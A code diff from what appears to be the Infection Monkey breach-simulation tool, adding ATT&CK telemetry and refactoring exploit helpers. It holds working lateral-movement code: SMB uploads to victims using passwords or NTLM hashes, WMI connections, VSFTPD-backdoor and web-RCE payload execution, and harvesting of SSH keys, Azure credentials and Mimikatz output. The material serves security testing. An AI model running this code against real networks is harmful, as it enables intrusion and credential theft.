share_info = {'share_name': share_name,
'share_path': share_path}
if dst_path.lower().startswith(share_path.lower()):
high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),)
low_priority_shares += ((ntpath.sep + file_name, share_info),)
shares = high_priority_shares + low_priority_shares
file_uploaded = False
for remote_path, share in shares:
share_name = share['share_name']
share_path = share['share_path']
if not smb:
smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
if not smb:
return None
try:
tid = smb.connectTree(share_name)
except Exception as exc:
LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
share_name, host, exc)
continue
LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
share_name, share_path, remote_path, host.ip_addr[0], )
remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
# check if file is found on destination
if config.skip_exploit_if_file_exist:
try:
file_info = smb.listPath(share_name, remote_path)
if file_info:
if src_file_size == file_info[0].get_filesize():
LOG.debug("Remote monkey file is same as source, skipping copy")
return remote_full_path
LOG.debug("Remote monkey file is found but different, moving along with attack")
except:
pass # file isn't found on remote victim, moving on
try:
with monkeyfs.open(src_path, 'rb') as source_file:
# make sure of the timeout
smb.setTimeout(timeout)
smb.putFile(share_name, remote_path, source_file.read)
file_uploaded = True
T1105Telem(ScanStatus.USED,
get_interface_to_target(host.ip_addr),
host.ip_addr,
dst_path).send()
LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
src_path, share_name, share_path, host)
break
except Exception as exc:
LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
share_name, host, exc)
T1105Telem(ScanStatus.SCANNED,
get_interface_to_target(host.ip_addr),
host.ip_addr,
dst_path).send()
continue
finally:
try:
smb.logoff()
except:
pass
smb = None
if not file_uploaded:
LOG.debug("Couldn't find a writable share for exploiting"
" victim %r with username: %s, password: '%s', LM hash: %s, NTLM hash: %s",
host, username, password, lm_hash, ntlm_hash)
return None
return remote_full_path
@staticmethod
def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60):
try:
smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
except Exception as exc:
LOG.debug("SMB connection to %r on port 445 failed,"
" trying port 139 (%s)", host, exc)
try:
smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
except Exception as exc:
LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
host, exc)
return None, None
dialect = {SMB_DIALECT: "SMBv1",
SMB2_DIALECT_002: "SMBv2.0",
SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0")
# we know this should work because the WMI connection worked
try:
smb.login(username, password, '', lm_hash, ntlm_hash)
except Exception as exc:
LOG.debug("Error while logging into %r using user: %s, password: '%s', LM hash: %s, NTLM hash: %s: %s",
host, username, password, lm_hash, ntlm_hash, exc)
return None, dialect
smb.setTimeout(timeout)
return smb, dialect
@staticmethod
def execute_rpc_call(smb, rpc_func, *args):
dce = SmbTools.get_dce_bind(smb)
rpc_method_wrapper = getattr(srvs, rpc_func, None)
if not rpc_method_wrapper:
raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,))
return rpc_method_wrapper(dce, *args)
@staticmethod
def get_dce_bind(smb):
rpctransport = transport.SMBTransport(smb.getRemoteHost(),
smb.getRemoteHost(),
filename=r'\srvsvc',
smb_connection=smb)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(srvs.MSRPC_UUID_SRVS)
return dce

View File

@ -0,0 +1,150 @@
import logging
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dtypes import NULL
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
class DceRpcException(Exception):
pass
class AccessDeniedException(Exception):
def __init__(self, host, username, password, domain):
super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" %
(host, domain, username, password))
class WmiTools(object):
class WmiConnection(object):
def __init__(self):
self._dcom = None
self._iWbemServices = None
@property
def connected(self):
return self._dcom is not None
def connect(self, host, username, password, domain=None, lmhash="", nthash=""):
if not domain:
domain = host.ip_addr
dcom = DCOMConnection(host.ip_addr,
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
oxidResolver=True)
try:
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
wmi.IID_IWbemLevel1Login)
except Exception as exc:
dcom.disconnect()
if "rpc_s_access_denied" == exc.message:
raise AccessDeniedException(host, username, password, domain)
raise
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
try:
self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
self._dcom = dcom
except:
dcom.disconnect()
raise
finally:
iWbemLevel1Login.RemRelease()
def close(self):
assert self.connected, "WmiConnection isn't connected"
self._iWbemServices.RemRelease()
self._iWbemServices = None
self._dcom.disconnect()
self._dcom = None
@staticmethod
def dcom_wrap(func):
def _wrapper(*args, **kwarg):
try:
return func(*args, **kwarg)
finally:
WmiTools.dcom_cleanup()
return _wrapper
@staticmethod
def dcom_cleanup():
for port_map in DCOMConnection.PORTMAPS.keys():
del DCOMConnection.PORTMAPS[port_map]
for oid_set in DCOMConnection.OID_SET.keys():
del DCOMConnection.OID_SET[port_map]
DCOMConnection.OID_SET = {}
DCOMConnection.PORTMAPS = {}
if DCOMConnection.PINGTIMER:
DCOMConnection.PINGTIMER.cancel()
DCOMConnection.PINGTIMER.join()
DCOMConnection.PINGTIMER = None
@staticmethod
def get_object(wmi_connection, object_name):
assert isinstance(wmi_connection, WmiTools.WmiConnection)
assert wmi_connection.connected, "WmiConnection isn't connected"
return wmi_connection._iWbemServices.GetObject(object_name)[0]
@staticmethod
def list_object(wmi_connection, object_name, fields=None, where=None):
assert isinstance(wmi_connection, WmiTools.WmiConnection)
assert wmi_connection.connected, "WmiConnection isn't connected"
if fields:
fields_query = ",".join(fields)
else:
fields_query = "*"
wql_query = "SELECT %s FROM %s" % (fields_query, object_name)
if where:
wql_query += " WHERE %s" % (where,)
LOG.debug("Execution WQL query: %r", wql_query)
iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query)
query = []
try:
while True:
try:
next_item = iEnumWbemClassObject.Next(0xffffffff, 1)[0]
record = next_item.getProperties()
if not fields:
fields = record.keys()
query_record = {}
for key in fields:
query_record[key] = record[key]['value']
query.append(query_record)
except DCERPCSessionError as exc:
if 1 == exc.error_code:
break
raise
finally:
iEnumWbemClassObject.RemRelease()
return query

View File

@ -6,12 +6,16 @@
import socket
import time
from common.utils.attack_utils import ScanStatus
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import build_monkey_commandline
from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
from infection_monkey.exploit.tools.helpers import get_target_monkey, build_monkey_commandline, get_monkey_depth
from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT
from logging import getLogger
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
LOG = getLogger(__name__)
__author__ = 'D3fa1t'
@ -125,6 +129,7 @@ class VSFTPDExploiter(HostExploiter):
change_permission = str.encode(str(change_permission) + '\n')
LOG.info("change_permission command is %s", change_permission)
backdoor_socket.send(change_permission)
T1222Telem(ScanStatus.USED, change_permission, self.host).send()
# Run monkey on the machine
parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1)

View File

@ -5,10 +5,12 @@ from abc import abstractmethod
from infection_monkey.exploit import HostExploiter
from infection_monkey.model import *
from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
__author__ = 'VakarisZ'
@ -366,8 +368,10 @@ class WebRCE(HostExploiter):
command = CHMOD_MONKEY % {'monkey_path': path}
try:
resp = self.exploit(url, command)
T1222Telem(ScanStatus.USED, command, self.host).send()
except Exception as e:
LOG.error("Something went wrong while trying to change permission: %s" % e)
T1222Telem(ScanStatus.SCANNED, "", self.host).send()
return False
# If exploiter returns True / False
if type(resp) is bool:

View File

@ -9,7 +9,9 @@ from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target
from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.network.info import get_free_tcp_port
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
__author__ = "VakarisZ"

View File

@ -14,11 +14,11 @@ from enum import IntEnum
from impacket import uuid
from impacket.dcerpc.v5 import transport
from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
from infection_monkey.exploit.tools.smb_tools import SmbTools
from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from infection_monkey.network import SMBFinger
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.exploit.tools import build_monkey_commandline
from . import HostExploiter
LOG = getLogger(__name__)

View File

@ -6,8 +6,11 @@ import traceback
from impacket.dcerpc.v5.rpcrt import DCERPCException
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, \
from infection_monkey.exploit.tools.helpers import get_target_monkey, \
get_monkey_depth, build_monkey_commandline
from infection_monkey.exploit.tools.wmi_tools import AccessDeniedException
from infection_monkey.exploit.tools.smb_tools import SmbTools
from infection_monkey.exploit.tools.wmi_tools import WmiTools
from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from common.utils.exploit_enum import ExploitType

View File

@ -25,7 +25,7 @@ from infection_monkey.telemetry.tunnel_telem import TunnelTelem
from infection_monkey.windows_upgrader import WindowsUpgrader
from infection_monkey.post_breach.post_breach_handler import PostBreach
from common.utils.attack_utils import ScanStatus
from infection_monkey.exploit.tools import get_interface_to_target
from infection_monkey.exploit.tools.helpers import get_interface_to_target
__author__ = 'itamar'
@ -67,10 +67,7 @@ class InfectionMonkey(object):
self._parent = self._opts.parent
self._default_tunnel = self._opts.tunnel
self._default_server = self._opts.server
try:
self._default_server_port = self._default_server.split(':')[1]
except KeyError:
self._default_server_port = ''
if self._opts.depth:
WormConfiguration._depth_from_commandline = True
self._keep_running = True
@ -87,9 +84,10 @@ class InfectionMonkey(object):
def start(self):
LOG.info("Monkey is running...")
if not ControlClient.find_server(default_tunnel=self._default_tunnel):
LOG.info("Monkey couldn't find server. Going down.")
# Sets island's IP and port for monkey to communicate to
if not self.set_default_server():
return
self.set_default_port()
# Create a dir for monkey files if there isn't one
utils.create_monkey_dir()
@ -116,9 +114,6 @@ class InfectionMonkey(object):
monkey_tunnel.start()
StateTelem(False).send()
self._default_server = WormConfiguration.current_server
LOG.debug("default server: %s" % self._default_server)
TunnelTelem().send()
if WormConfiguration.collect_system_info:
@ -184,7 +179,7 @@ class InfectionMonkey(object):
(':'+self._default_server_port if self._default_server_port else ''))
else:
machine.set_default_server(self._default_server)
LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine))
LOG.debug("Default server for machine: %r set to %s" % (machine, machine.default_server))
# Order exploits according to their type
if WormConfiguration.should_exploit:
@ -329,3 +324,17 @@ class InfectionMonkey(object):
self._keep_running = False
LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit)
def set_default_port(self):
try:
self._default_server_port = self._default_server.split(':')[1]
except KeyError:
self._default_server_port = ''
def set_default_server(self):
if not ControlClient.find_server(default_tunnel=self._default_tunnel):
LOG.info("Monkey couldn't find server. Going down.")
return False
self._default_server = WormConfiguration.current_server
LOG.debug("default server set to: %s" % self._default_server)
return True

View File

@ -6,6 +6,9 @@ from infection_monkey.post_breach.pba import PBA
from infection_monkey.control import ControlClient
from infection_monkey.config import WormConfiguration
from infection_monkey.utils import get_monkey_dir_path
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
from common.utils.attack_utils import ScanStatus
from infection_monkey.exploit.tools.helpers import get_interface_to_target
LOG = logging.getLogger(__name__)
@ -79,9 +82,22 @@ class UsersPBA(PBA):
pba_file_contents = ControlClient.get_pba_file(filename)
status = None
if not pba_file_contents or not pba_file_contents.content:
LOG.error("Island didn't respond with post breach file.")
status = ScanStatus.SCANNED
if not status:
status = ScanStatus.USED
T1105Telem(status,
WormConfiguration.current_server.split(':')[0],
get_interface_to_target(WormConfiguration.current_server.split(':')[0]),
filename).send()
if status == ScanStatus.SCANNED:
return False
try:
with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
written_PBA_file.write(pba_file_contents.content)

View File

@ -3,6 +3,9 @@ import pwd
import os
import glob
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1005_telem import T1005Telem
__author__ = 'VakarisZ'
LOG = logging.getLogger(__name__)
@ -71,6 +74,7 @@ class SSHCollector(object):
if private_key.find('ENCRYPTED') == -1:
info['private_key'] = private_key
LOG.info("Found private key in %s" % private)
T1005Telem(ScanStatus.USED, 'SSH key', "Path: %s" % private).send()
else:
continue
except (IOError, OSError):

View File

@ -5,6 +5,9 @@ import json
import glob
import subprocess
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1005_telem import T1005Telem
__author__ = 'danielg'
LOG = logging.getLogger(__name__)
@ -54,6 +57,7 @@ class AzureCollector(object):
decrypt_proc = subprocess.Popen(decrypt_command.split(), stdout=subprocess.PIPE, stdin=subprocess.PIPE)
decrypt_raw = decrypt_proc.communicate(input=b64_result)[0]
decrypt_data = json.loads(decrypt_raw)
T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send()
return decrypt_data['username'], decrypt_data['password']
except IOError:
LOG.warning("Failed to parse VM Access plugin file. Could not open file")
@ -92,6 +96,7 @@ class AzureCollector(object):
# this is disgusting but the alternative is writing the file to disk...
password_raw = ps_out.split('\n')[-2].split(">")[1].split("$utf8content")[1]
password = json.loads(password_raw)["Password"]
T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send()
return username, password
except IOError:
LOG.warning("Failed to parse VM Access plugin file. Could not open file")

View File

@ -5,7 +5,9 @@ import socket
import zipfile
import infection_monkey.config
from common.utils.attack_utils import ScanStatus, UsageEnum
from infection_monkey.telemetry.attack.t1129_telem import T1129Telem
from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
from infection_monkey.pyinstaller_utils import get_binary_file_path, get_binaries_dir_path
__author__ = 'itay.mizeretz'
@ -49,8 +51,12 @@ class MimikatzCollector(object):
self._get = get_proto(("get", self._dll))
self._get_text_output_proto = get_text_output_proto(("getTextOutput", self._dll))
self._isInit = True
status = ScanStatus.USED
except Exception:
LOG.exception("Error initializing mimikatz collector")
status = ScanStatus.SCANNED
T1106Telem(status, UsageEnum.MIMIKATZ_WINAPI).send()
T1129Telem(status, UsageEnum.MIMIKATZ).send()
def get_logon_info(self):
"""
@ -67,7 +73,7 @@ class MimikatzCollector(object):
logon_data_dictionary = {}
hostname = socket.gethostname()
self.mimikatz_text = self._get_text_output_proto()
for i in range(entry_count):
@ -102,7 +108,7 @@ class MimikatzCollector(object):
except Exception:
LOG.exception("Error getting logon info")
return {}
def get_mimikatz_text(self):
return self.mimikatz_text

View File

@ -4,6 +4,8 @@ import sys
from abc import ABCMeta, abstractmethod
from infection_monkey.config import WormConfiguration
from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
from common.utils.attack_utils import ScanStatus, UsageEnum
__author__ = 'itamar'
@ -43,20 +45,25 @@ class WindowsSystemSingleton(_SystemSingleton):
ctypes.c_bool(True),
ctypes.c_char_p(self._mutex_name))
last_error = ctypes.windll.kernel32.GetLastError()
status = None
if not handle:
LOG.error("Cannot acquire system singleton %r, unknown error %d",
self._mutex_name, last_error)
return False
status = ScanStatus.SCANNED
if winerror.ERROR_ALREADY_EXISTS == last_error:
status = ScanStatus.SCANNED
LOG.debug("Cannot acquire system singleton %r, mutex already exist",
self._mutex_name)
if not status:
status = ScanStatus.USED
T1106Telem(status, UsageEnum.SINGLETON_WINAPI).send()
if status == ScanStatus.SCANNED:
return False
self._mutex_handle = handle
LOG.debug("Global singleton mutex %r acquired",
self._mutex_name)

View File

@ -0,0 +1,22 @@
from infection_monkey.telemetry.attack.attack_telem import AttackTelem
class T1005Telem(AttackTelem):
def __init__(self, status, gathered_data_type, info=""):
"""
T1005 telemetry.
:param status: ScanStatus of technique
:param gathered_data_type: Type of data collected from local system
:param info: Additional info about data
"""
super(T1005Telem, self).__init__('T1005', status)
self.gathered_data_type = gathered_data_type
self.info = info
def get_data(self):
data = super(T1005Telem, self).get_data()
data.update({
'gathered_data_type': self.gathered_data_type,
'info': self.info
})
return data

View File

@ -0,0 +1,11 @@
from infection_monkey.telemetry.attack.usage_telem import UsageTelem
class T1035Telem(UsageTelem):
def __init__(self, status, usage):
"""
T1035 telemetry.
:param status: ScanStatus of technique
:param usage: Enum of UsageEnum type
"""
super(T1035Telem, self).__init__('T1035', status, usage)

View File

@ -0,0 +1,25 @@
from infection_monkey.telemetry.attack.victim_host_telem import AttackTelem
class T1105Telem(AttackTelem):
def __init__(self, status, src, dst, filename):
"""
T1105 telemetry.
:param status: ScanStatus of technique
:param src: IP of machine which uploaded the file
:param dst: IP of machine which downloaded the file
:param filename: Uploaded file's name
"""
super(T1105Telem, self).__init__('T1105', status)
self.filename = filename
self.src = src
self.dst = dst
def get_data(self):
data = super(T1105Telem, self).get_data()
data.update({
'filename': self.filename,
'src': self.src,
'dst': self.dst
})
return data

View File

@ -0,0 +1,11 @@
from infection_monkey.telemetry.attack.usage_telem import UsageTelem
class T1106Telem(UsageTelem):
def __init__(self, status, usage):
"""
T1106 telemetry.
:param status: ScanStatus of technique
:param usage: Enum name of UsageEnum
"""
super(T1106Telem, self).__init__("T1106", status, usage)

View File

@ -0,0 +1,11 @@
from infection_monkey.telemetry.attack.usage_telem import UsageTelem
class T1129Telem(UsageTelem):
def __init__(self, status, usage):
"""
T1129 telemetry.
:param status: ScanStatus of technique
:param usage: Enum of UsageEnum type
"""
super(T1129Telem, self).__init__("T1129", status, usage)

View File

@ -0,0 +1,20 @@
from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem
class T1222Telem(VictimHostTelem):
def __init__(self, status, command, machine):
"""
T1222 telemetry.
:param status: ScanStatus of technique
:param command: command used to change permissions
:param machine: VictimHost type object
"""
super(T1222Telem, self).__init__('T1222', status, machine)
self.command = command
def get_data(self):
data = super(T1222Telem, self).get_data()
data.update({
'command': self.command
})
return data

View File

@ -0,0 +1,20 @@
from infection_monkey.telemetry.attack.attack_telem import AttackTelem
class UsageTelem(AttackTelem):
def __init__(self, technique, status, usage):
"""
:param technique: Id of technique
:param status: ScanStatus of technique
:param usage: Enum of UsageEnum type
"""
super(UsageTelem, self).__init__(technique, status)
self.usage = usage.name
def get_data(self):
data = super(UsageTelem, self).get_data()
data.update({
'usage': self.usage
})
return data

View File

@ -6,10 +6,10 @@ import threading
import urllib
from logging import getLogger
from urlparse import urlsplit
from threading import Lock
import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time
from infection_monkey.exploit.tools.helpers import get_interface_to_target
__author__ = 'hoffer'
@ -165,11 +165,18 @@ class HTTPServer(threading.Thread):
def run(self):
class TempHandler(FileServHTTPRequestHandler):
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
filename = self._filename
@staticmethod
def report_download(dest=None):
LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
TempHandler.T1105Telem(TempHandler.ScanStatus.USED,
get_interface_to_target(dest[0]),
dest[0],
self._filename).send()
self.downloads += 1
if not self.downloads < self.max_downloads:
return True
@ -212,11 +219,17 @@ class LockedHTTPServer(threading.Thread):
def run(self):
class TempHandler(FileServHTTPRequestHandler):
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
filename = self._filename
@staticmethod
def report_download(dest=None):
LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
TempHandler.T1105Telem(TempHandler.ScanStatus.USED,
get_interface_to_target(dest[0]),
dest[0],
self._filename).send()
self.downloads += 1
if not self.downloads < self.max_downloads:
return True

View File

@ -9,7 +9,7 @@ from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import local_ips, get_free_tcp_port
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.transport.base import get_last_serve_time
from infection_monkey.exploit.tools import get_interface_to_target
from infection_monkey.exploit.tools.helpers import get_interface_to_target
__author__ = 'hoffer'

View File

@ -8,7 +8,7 @@ import time
import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.config import WormConfiguration
from infection_monkey.control import ControlClient
from infection_monkey.exploit.tools import build_monkey_commandline_explicitly
from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly
from infection_monkey.model import MONKEY_CMDLINE_WINDOWS
from infection_monkey.utils import is_windows_os, is_64bit_windows_os, is_64bit_python

View File

@ -16,4 +16,5 @@ from config import Config
from creds import Creds
from monkey_ttl import MonkeyTtl
from pba_results import PbaResults
from command_control_channel import CommandControlChannel
from monkey import Monkey

View File

@ -0,0 +1,11 @@
from mongoengine import EmbeddedDocument, StringField
class CommandControlChannel(EmbeddedDocument):
"""
This value describes command and control channel monkey used in communication
src - Monkey Island's IP
dst - Monkey's IP (in case of a proxy chain this is the IP of the last monkey)
"""
src = StringField()
dst = StringField()

View File

@ -6,6 +6,7 @@ from mongoengine import Document, StringField, ListField, BooleanField, Embedded
from monkey_island.cc.models.monkey_ttl import MonkeyTtl, create_monkey_ttl_document
from monkey_island.cc.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS
from monkey_island.cc.models.command_control_channel import CommandControlChannel
class Monkey(Document):
@ -36,6 +37,7 @@ class Monkey(Document):
pba_results = ListField()
ttl_ref = ReferenceField(MonkeyTtl)
tunnel = ReferenceField("self")
command_control_channel = EmbeddedDocumentField(CommandControlChannel)
# LOGIC
@staticmethod
@ -80,6 +82,17 @@ class Monkey(Document):
os = "windows"
return os
def get_network_info(self):
"""
Formats network info from monkey's model
:return: dictionary with an array of IP's and a hostname
"""
return {'ips': self.ip_addresses, 'hostname': self.hostname}
@staticmethod
def get_tunneled_monkeys():
return Monkey.objects(tunnel__exists=True)
def renew_ttl(self, duration=DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS):
self.ttl_ref = create_monkey_ttl_document(duration)
self.save()

View File

@ -9,11 +9,11 @@ from monkey_ttl import MonkeyTtl
class TestMonkey(IslandTestCase):
"""
Make sure to set server environment to `testing` in server.json! Otherwise this will mess up your mongo instance and
Make sure to set server environment to `testing` in server_config.json! Otherwise this will mess up your mongo instance and
won't work.
Also, the working directory needs to be the working directory from which you usually run the island so the
server.json file is found and loaded.
server_config.json file is found and loaded.
"""
def test_is_dead(self):
@ -90,3 +90,25 @@ class TestMonkey(IslandTestCase):
self.assertEquals(1, len(filter(lambda m: m.get_os() == "windows", Monkey.objects())))
self.assertEquals(1, len(filter(lambda m: m.get_os() == "linux", Monkey.objects())))
self.assertEquals(1, len(filter(lambda m: m.get_os() == "unknown", Monkey.objects())))
def test_get_tunneled_monkeys(self):
self.fail_if_not_testing_env()
self.clean_monkey_db()
linux_monkey = Monkey(guid=str(uuid.uuid4()),
description="Linux shay-Virtual-Machine")
windows_monkey = Monkey(guid=str(uuid.uuid4()),
description="Windows bla bla bla",
tunnel=linux_monkey)
unknown_monkey = Monkey(guid=str(uuid.uuid4()),
description="bla bla bla",
tunnel=windows_monkey)
linux_monkey.save()
windows_monkey.save()
unknown_monkey.save()
tunneled_monkeys = Monkey.get_tunneled_monkeys()
test = bool(windows_monkey in tunneled_monkeys
and unknown_monkey in tunneled_monkeys
and linux_monkey not in tunneled_monkeys
and len(tunneled_monkeys) == 2)
self.assertTrue(test, "Tunneling test")

View File

@ -43,6 +43,7 @@ class Telemetry(flask_restful.Resource):
def post(self):
telemetry_json = json.loads(request.data)
telemetry_json['timestamp'] = datetime.now()
telemetry_json['command_control_channel'] = {'src': request.remote_addr, 'dst': request.host}
# Monkey communicated, so it's alive. Update the TTL.
Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']).renew_ttl()

View File

@ -1,7 +1,9 @@
import logging
from monkey_island.cc.models import Monkey
from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082
from monkey_island.cc.services.attack.technique_reports import T1145, T1107, T1065
from monkey_island.cc.services.attack.technique_reports import T1145, T1105, T1065, T1035, T1129, T1106, T1107, T1188
from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005, T1018, T1016
from monkey_island.cc.services.attack.attack_config import AttackConfig
from monkey_island.cc.database import mongo
@ -19,8 +21,19 @@ TECHNIQUES = {'T1210': T1210.T1210,
'T1086': T1086.T1086,
'T1082': T1082.T1082,
'T1145': T1145.T1145,
'T1065': T1065.T1065,
'T1105': T1105.T1105,
'T1035': T1035.T1035,
'T1129': T1129.T1129,
'T1106': T1106.T1106,
'T1107': T1107.T1107,
'T1065': T1065.T1065}
'T1188': T1188.T1188,
'T1090': T1090.T1090,
'T1041': T1041.T1041,
'T1222': T1222.T1222,
'T1005': T1005.T1005,
'T1018': T1018.T1018,
'T1016': T1016.T1016}
REPORT_NAME = 'new_report'

View File

@ -40,6 +40,14 @@ SCHEMA = {
"necessary": False,
"description": "Pass the hash (PtH) is a method of authenticating as a user without "
"having access to the user's cleartext password."
},
"T1105": {
"title": "T1105 Remote file copy",
"type": "bool",
"value": True,
"necessary": True,
"description": "Files may be copied from one system to another to stage "
"adversary tools or other files over the course of an operation."
}
}
},
@ -100,6 +108,13 @@ SCHEMA = {
"description": "Adversaries may remove files over the course of an intrusion "
"to keep their footprint low or remove them at the end as part "
"of the post-intrusion cleanup process."
},
"T1222": {
"title": "T1222 File permissions modification",
"type": "bool",
"value": True,
"necessary": True,
"description": "Adversaries may modify file permissions/attributes to evade intended DACLs."
}
}
},
@ -107,6 +122,33 @@ SCHEMA = {
"title": "Execution",
"type": "object",
"properties": {
"T1035": {
"title": "T1035 Service execution",
"type": "bool",
"value": True,
"necessary": False,
"description": "Adversaries may execute a binary, command, or script via a method "
"that interacts with Windows services, such as the Service Control Manager.",
"depends_on": ["T1210"]
},
"T1129": {
"title": "T1129 Execution through module load",
"type": "bool",
"value": True,
"necessary": False,
"description": "The Windows module loader can be instructed to load DLLs from arbitrary "
"local paths and arbitrary Universal Naming Convention (UNC) network paths.",
"depends_on": ["T1078", "T1003"]
},
"T1106": {
"title": "T1106 Execution through API",
"type": "bool",
"value": True,
"necessary": False,
"description": "Adversary tools may directly use the Windows application "
"programming interface (API) to execute binaries.",
"depends_on": ["T1210"]
},
"T1059": {
"title": "T1059 Command line interface",
"type": "bool",
@ -134,9 +176,43 @@ SCHEMA = {
"type": "bool",
"value": True,
"necessary": False,
"depends_on": ["T1016", "T1005"],
"description": "An adversary may attempt to get detailed information about the "
"operating system and hardware, including version, patches, hotfixes, "
"service packs, and architecture."
},
"T1018": {
"title": "T1018 Remote System Discovery",
"type": "bool",
"value": True,
"necessary": True,
"description": "Adversaries will likely attempt to get a listing of other systems by IP address, "
"hostname, or other logical identifier on a network for lateral movement."
},
"T1016": {
"title": "T1016 System network configuration discovery",
"type": "bool",
"value": True,
"necessary": False,
"depends_on": ["T1005", "T1082"],
"description": "Adversaries will likely look for details about the network configuration "
"and settings of systems they access or through information discovery"
" of remote systems."
}
}
},
"collection": {
"title": "Collection",
"type": "object",
"properties": {
"T1005": {
"title": "T1005 Data from local system",
"type": "bool",
"value": True,
"necessary": False,
"depends_on": ["T1016", "T1082"],
"description": "Sensitive data can be collected from local system sources, such as the file system "
"or databases of information residing on the system prior to Exfiltration."
}
}
},
@ -151,8 +227,37 @@ SCHEMA = {
"necessary": True,
"description": "Adversaries may conduct C2 communications over a non-standard "
"port to bypass proxies and firewalls that have been improperly configured."
},
"T1090": {
"title": "T1090 Connection proxy",
"type": "bool",
"value": True,
"necessary": True,
"description": "A connection proxy is used to direct network traffic between systems "
"or act as an intermediary for network communications."
},
"T1188": {
"title": "T1188 Multi-hop proxy",
"type": "bool",
"value": True,
"necessary": True,
"description": "To disguise the source of malicious traffic, "
"adversaries may chain together multiple proxies."
}
}
},
"exfiltration": {
"title": "Exfiltration",
"type": "object",
"properties": {
"T1041": {
"title": "T1041 Exfiltration Over Command and Control Channel",
"type": "bool",
"value": True,
"necessary": True,
"description": "Data exfiltration is performed over the Command and Control channel."
}
}
}
}
}

View File

@ -12,16 +12,16 @@ class T1003(AttackTechnique):
scanned_msg = ""
used_msg = "Monkey successfully obtained some credentials from systems on the network."
query = {'telem_category': 'system_info_collection', '$and': [{'data.credentials': {'$exists': True}},
# $gt: {} checks if field is not an empty object
{'data.credentials': {'$gt': {}}}]}
query = {'telem_category': 'system_info', '$and': [{'data.credentials': {'$exists': True}},
# $gt: {} checks if field is not an empty object
{'data.credentials': {'$gt': {}}}]}
@staticmethod
